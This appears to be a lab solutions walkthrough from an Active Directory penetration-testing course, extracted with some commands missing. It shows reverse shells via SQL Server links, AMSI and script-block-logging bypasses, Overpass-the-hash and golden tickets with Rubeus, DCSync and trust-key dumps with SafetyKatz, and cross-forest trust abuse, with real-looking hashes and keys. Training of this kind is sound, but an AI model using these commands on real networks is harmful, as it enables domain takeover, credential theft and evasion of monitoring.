We can also use Get-SQLServerLinkCrawl from PowerUpSQL for crawling the database links
automatically:
If xp_cmdshell is enabled (or rpcout is true that allows us to enable xp_cmdshell), it is possible to
execute commands on any node in the database links using the below commands.
Sweet! Looks like we can run operating system commands on DB-SQLPROD instance.
Let’s try to execute a PowerShell reverse shell. We must first start a listener from InvisiShell:
PS C:\AD\Tools> . .\powercat.ps1
PS C:\AD\Tools> powercat -l -v -p 443 -t 1000
VERBOSE: Set Stream 1: TCP
VERBOSE: Set Stream 2: Console
VERBOSE: Setting up Stream 1...
VERBOSE: Listening on [0.0.0.0] (port 443)
On listener on 192.168.100.X. Note that you may need to press 'Enter' couple of times on powercat
listener to wake it up from slumber:
PS C:\Windows\system32> whoami
nt service\mssqlserver
PS C:\Windows\system32> hostname
DB-SQLProd
Because the link from DB-SQLProd to DB-SQLSrv is configured to use sa. We can enable RPC Out and
xp_cmdshell on DB-SQLSrv! Run the below commands on the reverse shell we got above. Ignore the
scary looking message after the first command:
Let's try to execute commands on all the link nodes again and check if it works on db-sqlsrv too:
Sweet!
Now, to execute commands only on a particular node (DB-SQLSRV), use the below command in
HeidiSQL. Remember to start the listener before running the below command:
[snip]
PS C:\Windows\system32> whoami
db\srvdba
PS C:\Windows\system32> $env:UserDNSDomain
DB.LOCAL
Solution
On the reverse shell we have on db-sqlsrv, we can use PowerView to enumerate ACLs.
Run the following commands on the reverse shell. We are bypassing AMSI first and then using a
download-execute cradle to load PowerView:
TopLevelNames : {dbvendor.local}
ExcludedTopLevelNames : {}
TrustedDomainInformation : {dbvendor.local}
SourceName : db.local
TargetName : dbvendor.local
TrustType : Forest
TrustDirection : Bidirectional
ObjectDN : CN=db24svc,CN=Users,DC=dbvendor,DC=local
AceQualifier : AccessAllowed
ActiveDirectoryRights : GenericAll
ObjectAceType : None
AceFlags : None
AceType : AccessAllowed
InheritanceFlags : None
SecurityIdentifier : S-1-5-21-2781415573-3701854478-2406986946-1105
IdentityReferenceName : srvdba
IdentityReferenceDomain : db.local
IdentityReferenceDN : CN=srvdba,CN=Users,DC=db,DC=local
IdentityReferenceClass : user
[snip]
So, srvdba has GenericAll over dbxsvc users in dbvendor.local domain. We can do many things with
GenericAll on a user object like Reset Password, Set SPN on user etc. Reset password of dbxsvc user that
matches your student user ID:
Sweet! We just got access to the dbxsvc user in dbvendor.local. Now, let's enumerate FSPs for db.local.
Run the below commands on the reverse shell:
[snip]
GroupDomain : db.local
GroupName : Administrators
GroupDistinguishedName : CN=Administrators,CN=Builtin,DC=db,DC=local
MemberDomain : db.local
MemberName : S-1-5-21-569087967-1859921580-1949641513-4102
MemberDistinguishedName : CN=S-1-5-21-569087967-1859921580-1949641513-
4102,CN=ForeignSecurityPrincipals,DC=db,DC=local
GroupDomain : db.local
GroupName : Administrators
GroupDistinguishedName : CN=Administrators,CN=Builtin,DC=db,DC=local
MemberDomain : db.local
And no surprise, the FSPs who are part of the built-in Administrators group are the dbxsvc users:
logoncount : 0
badpasswordtime : 12/31/1600 4:00:00 PM
distinguishedname : CN=db23svc,CN=Users,DC=dbvendor,DC=local
objectclass : {top, person, organizationalPerson, user}
displayname : db23svc
userprincipalname : db23svc
name : db23svc
objectsid : S-1-5-21-569087967-1859921580-1949641513-4101
samaccountname : db23svc
codepage : 0
samaccounttype : USER_OBJECT
accountexpires : NEVER
countrycode : 0
whenchanged : 1/8/2021 6:18:45 AM
instancetype : 4
usncreated : 41125
objectguid : 60d90772-7a30-4217-81ec-71d28c4ae797
sn : svc
lastlogoff : 12/31/1600 4:00:00 PM
objectcategory :
CN=Person,CN=Schema,CN=Configuration,DC=dbvendor,DC=local
dscorepropagationdata : {1/8/2021 6:18:45 AM, 1/8/2021 6:18:45 AM, 1/1/1601
12:00:00 AM}
givenname : db23
lastlogon : 12/31/1600 4:00:00 PM
badpwdcount : 0
cn : db23svc
useraccountcontrol : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
whencreated : 1/8/2021 6:18:45 AM
primarygroupid : 513
pwdlastset : 1/7/2021 10:18:45 PM
usnchanged : 41130
[snip]
Solution
First, we need to compromise bastion.local. We have DA on techcorp.local that has a two-way trust with
bastion.local.
Let's enumerate Foreign Security Principals on bastion.local to check if there is anything interesting.
Using the Active Directory module from InvisiShell:
DistinguishedName
Name ObjectClass
-----------------
---- -----------
CN=S-1-5-4,CN=ForeignSecurityPrincipals,DC=bastion,DC=local
S-1-5-4 foreignSecurityPrinc...
CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=bastion,DC=local
S-1-5-11 foreignSecurityPrinc...
CN=S-1-5-17,CN=ForeignSecurityPrincipals,DC=bastion,DC=local
S-1-5-17 foreignSecurityPrinc...
CN=S-1-5-9,CN=ForeignSecurityPrincipals,DC=bastion,DC=local
S-1-5-9 foreignSecurityPrinc...
CN=S-1-5-21-2781415573-3701854478-2406986946-
500,CN=ForeignSecurityPrincipals,DC=bastion,DC=local S-1-5-21-2781415573-
3701854478-2406986946-500 foreignSecurityPrinc...
So, the DA of techcorp.local is a part of a group on bastion.local. To find out which group it is a member
of, run the below command:
DistinguishedName : CN=Administrators,CN=Builtin,DC=bastion,DC=local
GroupCategory : Security
GroupScope : DomainLocal
Member : {CN=S-1-5-21-2781415573-3701854478-2406986946-
500,CN=ForeignSecurityPrincipals,DC=bastion,DC=local, CN=Domain
Admins,CN=Users,DC=bastion,DC=local,
CN=Enterprise Admins,CN=Users,DC=bastion,DC=local,
CN=Administrator,CN=Users,DC=bastion,DC=local}
Name : Administrators
Let's access bastion-dc as administrator. Run the below command from an elevated shell on the student
VM to use Overpass-the-hash:
C:\Windows\system32>echo %Pwn%
asktgt
C:\Windows\system32> C:\AD\Tools\Loader.exe -Path C:\AD\Tools\Rubeus.exe -args
%Pwn% /domain:techcorp.local /user:administrator
/aes256:58db3c598315bf030d4f1f07021d364ba9350444e3f391e167938dd998836883
/dc:techcorp-dc.techcorp.local /createnetonly:C:\Windows\System32\cmd.exe
/show /ptt
[snip]
In the new process that spawns up, run the below commands to download and use InvisiShell:
Check if PAM trust is enabled. First enumerate trusts on bastion.local. Because we are already on a
domain controller, we can use the Active Directory module:
PSComputerName : bastion-dc.bastion.local
RunspaceId : 7fb698b7-72a7-4458-bd5c-1aa1326e399e
Direction : Outbound
DisallowTransivity : False
DistinguishedName : CN=techcorp.local,CN=System,DC=bastion,DC=local
[snip]
PSComputerName : bastion-dc.bastion.local
Once we know that there is a ForestTransitive trust and SIDFIlteringForestAware is false, enumerate
trusts on production.local to be sure of PAM trust in use. If we try to access production.local from the
session on bastion.local we will face the double hop issue, so we need to use Overpass-the-hash
Administrator of bastion.local.
First, we will use the privileges of domain administrator of techcorp.local to extract credentials of
domain administrator for bastion.local. Use the below command in the command prompt that we used
above:
C:\Windows\system32>echo %Pwn%
lsadump::dcsync
C:\Windows\system32>C:\AD\Tools\Loader.exe -Path C:\AD\Tools\SafetyKatz.exe -
args "%Pwn% /user:bastion\Administrator /domain:bastion.local" "exit"
[snip]
Credentials:
Hash NTLM: f29207796c9e6829aa1882b7cccfa36d
Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
Random Value : 31b615437127e4a4badbea412c32e37f
* Primary:Kerberos-Newer-Keys *
Default Salt : BASTION-DCAdministrator
Default Iterations : 4096
Credentials
aes256_hmac (4096) :
a32d8d07a45e115fa499cf58a2d98ef5bf49717af58bc4961c94c3c95fc03292
aes128_hmac (4096) : e8679f4d4ed30fe9d2aeabb8b5e5398e
[snip]
Run the below command from an elevated shell on the student VM to use Overpass-the-hash and start a
process with the privileges of domain administrator of bastion.local:
C:\Windows\system32>echo %Pwn%
asktgt
C:\Windows\system32> C:\AD\Tools\Loader.exe -Path C:\AD\Tools\Rubeus.exe -
args %Pwn% /domain:bastion.local /user:administrator
/aes256:a32d8d07a45e115fa499cf58a2d98ef5bf49717af58bc4961c94c3c95fc03292
/dc:bastion-dc.bastion.local /createnetonly:C:\Windows\System32\cmd.exe /show
/ptt
[snip]
In the new process, use the below commands to copy and use InvisiShell:
We are now ready to enumerate production.local. Run the below commands on bastion-dc:
Direction : Outbound
DisallowTransivity : False
DistinguishedName : CN=bastion.local,CN=System,DC=production,DC=local
ForestTransitive : True
IntraForest : False
IsTreeParent : False
IsTreeRoot : False
Name : bastion.local
ObjectClass : trustedDomain
ObjectGUID : f6ebbca6-749d-4ee6-bb6d-d3bbb178fd02
SelectiveAuthentication : False
SIDFilteringForestAware : True
SIDFilteringQuarantined : False
Source : DC=production,DC=local
Target : bastion.local
TGTDelegation : False
TrustAttributes : 1096
[snip]
So we now know that SID History is allowed for access from bastion.local to production.local.
Name : prodforest-ShadowEnterpriseAdmin
member : {CN=Administrator,CN=Users,DC=bastion,DC=local}
msDS-ShadowPrincipalSid : S-1-5-21-1765907967-2493560013-34545785-519
So, the Administrator of bastion.local is a member of the Shadow Security Principals which is mapped to
the Enterprise Admins group of production.local. That is, the Administrator of bastion.local has
Enterprise Admin privileges on production.local.
MasterServers : 192.168.102.1
DistinguishedName :
DC=production.local,cn=MicrosoftDNS,DC=ForestDnsZones,DC=bastion,DC=local
[snip]
To use PowerShell Remoting to connect to an IP address, we must modify the WSMan Trustedhosts
property on the student VM. Run the below command in an elevated PowerShell on the student VM:
C:\Windows\system32>echo %Pwn%
sekurlsa::opassth
C:\Windows\system32> C:\AD\Tools\Loader.exe -Path C:\AD\Tools\SafetyKatz.exe -
args "%Pwn% /user:administrator /domain:bastion.local
/ntlm:f29207796c9e6829aa1882b7cccfa36d /run:powershell.exe" "exit"
[snip]
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Solution
We need to begin by compromising production.local as in the previous objective. To do so we leverage
OverPass-The-Hash in an elevated PowerShell prompt with the NTLM hash as showcased in prior
objectives.
C:\Windows\system32>echo %Pwn%
sekurlsa::opassth
C:\Windows\system32> C:\AD\Tools\Loader.exe -Path C:\AD\Tools\SafetyKatz.exe -
args "%Pwn% /user:administrator /domain:bastion.local
/ntlm:f29207796c9e6829aa1882b7cccfa36d /run:powershell.exe" "exit"
[snip]
Attempting access using winrs isn't possible for native cmd execution to leverage the Loader and
Argsplit.bat method, we can instead create a PSRemote session using -Authentication
NegotiateWithImplicitCredential and leverage Invoke-Mimi.ps1 to dump trust keys remotely.
Make sure to host and run sbloggingbypass.txt to bypass script block logging.
PS C:\WINDOWS\system32>cd C:\AD\Tools\
Directory: C:\
Analyzing the CredSSP folder we find an interesting script named TestCredSSP.ps1. Viewing it's contents,
we find cleartext credentials for production\administrator and functionality to test CredSSP
authentication.
Directory: C:\CredSSP
[192.168.102.1]: PS C:\Users\Administrator.BASTION\Documents>gc
C:\CredSSP\TestCredSSP.ps1
function Get-WSManCredSSPState
{
$res = [pscustomobject]@{DelegateTo = @(); ReceiveFromRemote = $false}
$wsmTypes = [ordered]@{}
(gcm Get-WSManCredSSP).ImplementingType.Assembly.ExportedTypes `
| %{$wsmTypes[$_.Name] = $_}
$afcPath =
'HKLM:\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation\AllowFreshCr
edentials'
Let us enumerate to check if CredSSP has been configured on the target. Use the native Get-
WSManCredSSP commandlet to do so and exit the session.
NOTE: CredSSP has to be enabled on the server side using the following command: Enable-
WSManCredSSP -Role Server
[192.168.102.1]: PS C:\Users\Administrator.BASTION\Documents>Get-WSManCredSSP
The machine is not configured to allow delegating fresh credentials.
This computer is configured to receive credentials from a remote
client computer.
[192.168.102.1]: PS C:\Users\Administrator.BASTION\Documents>exit
Since CredSSP has been setup on the target we can check to see if the CredSSP client is setup locally on
our studentVM to gain a PSRemote session onto production-dc bypassing the Kerberos double hop.
On our studentVM, Open local group policy (gpedit.msc), navigate to Computer Settings >
Administrative Templates > System > Credentials Delegation.
Double-click "Allow Delegating Fresh Credentials". Select "Enabled" > Click "Show…"
An entry for the target CredSSP server SPN - production-dc exists: WSMAN\Production-
dc.production.local
Another entry same as before for the target CredSSP server SPN - production-dc: WSMAN\Production-
dc.production.local
This is an entry to leverage CredSSP with winrm with our machine acting as a client.
AllowCredSSP : 1
PSPath :
Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Micr
osoft\Windows\WinRM\Client
PSParentPath :
Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Micr
osoft\Windows\WinRM
PSChildName : Client
PSDrive : HKLM
PSProvider : Microsoft.PowerShell.Core\Registry
WSManConfig: Microsoft.WSMan.Management\WSMan::localhost\Client
These are all the prerequisites required to create a CredSSP session. Attempt to recreate another
CredSSP session named $session with explicit credentials to avoid the Kerberos double hop issue.
In the PSRemote session - $session make sure to host and run sbloggingbypass.txt to bypass script block
logging.
Download Loader onto the target and leverage SafetyKatz and netsh as before to extract the trust key
[out] for bastion-dc.
OPSEC Alert: Execution is performed under PowerShell rather than native cmd here to leverage
CredSSP and bypass double hop issues.
[production-dc.production.local]: PS C:\Users\Administrator\Documents>
C:\Users\Public\Loader.exe -path http://127.0.0.1:8080/SafetyKatz.exe -args
"$Pwn /patch" "exit"
[snip]
mimikatz # lsadump::trust /patch
Current domain: PRODUCTION.LOCAL (PRODUCTION / S-1-5-21-1765907967-
2493560013-34545785)
Domain: BASTION.LOCAL (BASTION / S-1-5-21-284138346-1733301406-1958478260)
[ In ] PRODUCTION.LOCAL -> BASTION.LOCAL
Finally, enter the PSRemote session and leverage Rubeus with this trust key to get a usable TGT as a
Domain User - PRODUCTION$ in the bastion domain.
Like ArgSplit.bat, we can split commands as PowerShell variables too, in this case we split "asktgt" as
follows.
Execute the above snippet in the $session before executing the Rubeus command to leverage the $Pwn
variable.
[production-dc.production.local]: PS C:\Users\Administrator\Documents>
C:\Users\Public\Loader.exe -path http://127.0.0.1:8080/Rubeus.exe -args $Pwn
/user:PRODUCTION$ /domain:BASTION.LOCAL /rc4:f6b37da21f7434d44986e4959e3b02bc
/dc:Bastion-DC.BASTION.LOCAL /nowrap /ptt
[snip]
doIFpjCCBaKgAwIB[snip]
ServiceName : krbtgt/BASTION.LOCAL
ServiceRealm : BASTION.LOCAL
UserName : PRODUCTION$
UserRealm : BASTION.LOCAL
StartTime : 3/4/2024 4:41:38 AM
EndTime : 3/4/2024 2:41:38 PM
RenewTill : 3/11/2024 5:41:38 AM
Flags : name_canonicalize, pre_authent, initial,
renewable, forwardable
KeyType : rc4_hmac
Base64(key) : odJueW0C+w+lOerhSKAMaQ==
ASREP (key) : F6B37DA21F7434D44986E4959E3B02BC
Since CredSSP is used we can bypass the double hop for ticket imports / AD authentication and other
actions that require some form of delegation.
[production-dc.production.local]: PS C:\Users\Administrator\Documents>klist
Current LogonId is 0:0x336995
Cached Tickets: (1)
#0> Client: PRODUCTION$ @ BASTION.LOCAL
Server: krbtgt/BASTION.LOCAL @ BASTION.LOCAL
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent
name_canonicalize
Start Time: 3/6/2024 7:08:23 (local)
End Time: 3/6/2024 17:08:23 (local)
Renew Time: 3/13/2024 7:08:23 (local)
Session Key Type: RSADSI RC4-HMAC(NT)
Cache Flags: 0x1 -> PRIMARY
Kdc Called:
Finally, access a resource in the bastion domain to prove Domain User rights in the domain.
[production-dc.production.local]: PS C:\Users\Administrator\Documents>ls
\\bastion-dc.bastion.local\SYSVOL
Solution:
Run the below command on the student VM to get a golden ticket with the privileges of domain
administrator on eu.local.
C:\Windows\system32>echo %Pwn%
golden
C:\Windows\system32>C:\AD\Tools\Loader.exe -Path C:\AD\Tools\Rubeus.exe -args
%Pwn% /user:Administrator /domain:eu.local /sid:S-1-5-21-3657428294-
2017276338-1274645009
/aes256:b3b88f9288b08707eab6d561fefe286c178359bda4d9ed9ea5cb2bd28540075d
/nowrap /ptt
[snip]
[*] Building PAC
doIFVzCCB...
[snip]
[+] Ticket successfully imported!
Copy Loader.exe and enable port forwarding to download Rubeus in the memory on eu-dc. Run the
below commands in the above process where we injected the Golden ticket for eu.local to gain a session
on eu-dc:
Now using Rubeus in the eu-dc session, we can now request a referral TGT for us.techcorp.local from
eu.local leveraging the bidirectional non-transitive trust.
NOTE: Please use the ticket from the initial golden ticket command in the /ticket parameter.
C:\Users\Administrator>echo %Pwn%
asktgs
C:\Users\Administrator>C:\Users\Public\Loader.exe -path
http://127.0.0.1:8080/Rubeus.exe -args %Pwn%
/service:krbtgt/us.techcorp.local /dc:eu-dc.eu.local /nowrap
/ticket:doIFVzCCBVOgAwIB...
[snip]
doIFVjCCBVKgAwI...
[snip]
ServiceName : krbtgt/US.TECHCORP.LOCAL
Instead we can now attempt to create a "local" TGT (service realm is us.techorp.local) and then leverage
it to gain a referral TGT from us.techcorp.local to techcorp.local leveraging the child to forest
bidirectional trust.
Create a "local" TGT in the eu-dc session using the /targetdomain parameter as us.techcorp.local and
the above referral TGT in the /ticket parameter.
C:\Users\Administrator>echo %Pwn%
asktgs
C:\Users\Administrator>C:\Users\Public\Loader.exe -path
http://127.0.0.1:8080/Rubeus.exe -args %Pwn%
/service:krbtgt/us.techcorp.local /dc:us-dc.us.techcorp.local
/targetdomain:us.techcorp.local /nowrap /ticket:doIFVjCCBVKg...
[snip]
doIFaDCCBWSgAwIBBaEDAgEWo...
[snip]
ServiceName : krbtgt/us.techcorp.local
ServiceRealm : US.TECHCORP.LOCAL
UserName : Administrator
UserRealm : EU.LOCAL
StartTime : 3/3/2024 4:22:46 AM
EndTime : 3/3/2024 2:18:32 PM
RenewTill : 3/10/2024 5:18:32 AM
We can now finally request a referral TGT in the eu-dc session for techcorp.local from us.techcorp.local
abusing the child to forest bidirectional trust. Note to use the above "local" TGT in the following /ticket
parameter.
C:\Users\Administrator>echo %Pwn%
asktgs
C:\Users\Administrator>C:\Users\Public\Loader.exe -path
http://127.0.0.1:8080/Rubeus.exe -args %Pwn% /service:krbtgt/techcorp.local
/dc:us-dc.us.techcorp.local /targetdomain:us.techcorp.local /nowrap
/ticket:doIFaDCCB...
[snip]
doIFczCCBW+gAwIBBaEDA...
ServiceName : krbtgt/TECHCORP.LOCAL
ServiceRealm : US.TECHCORP.LOCAL
UserName : Administrator
UserRealm : EU.LOCAL
StartTime : 3/3/2024 4:23:38 AM
EndTime : 3/3/2024 2:18:32 PM
RenewTill : 3/10/2024 5:18:32 AM
Flags : name_canonicalize, ok_as_delegate, pre_authent,
renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : pe7hRwJzJi/MgeSjznEoeTLQ5CyJdgLBj835GY2nS1w=
Finally, request a usable TGS in the eu-dc session to gain access onto any target service (CIFS in this case)
on techcorp.local. Use the above child to forest referral TGT in the /ticket parameter.
C:\Users\Administrator>echo %Pwn%
asktgs
[snip]
doIFeTCCBXWgAwIBBaE...
ServiceName : cifs/techcorp-dc.techcorp.local
ServiceRealm : TECHCORP.LOCAL
UserName : Administrator
UserRealm : EU.LOCAL
StartTime : 3/3/2024 4:28:46 AM
EndTime : 3/3/2024 2:18:32 PM
RenewTill : 3/10/2024 5:18:32 AM
Flags : name_canonicalize, ok_as_delegate, pre_authent,
renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : HZ39VUnJ+e4Lay+kDndtVvGbM7hJcdPcxcAm5Adj6fg=
Access the file system on techcorp-dc from eu-dc using domain user privileges to complete the
objective.
C:\Users\Administrator>dir \\techcorp-dc.techcorp.local\SYSVOL
dir \\techcorp-dc.techcorp.local\SYSVOL
Volume in drive \\techcorp-dc.techcorp.local\SYSVOL has no label.
Volume Serial Number is 88AD-6C8B
Directory of \\techcorp-dc.techcorp.local\SYSVOL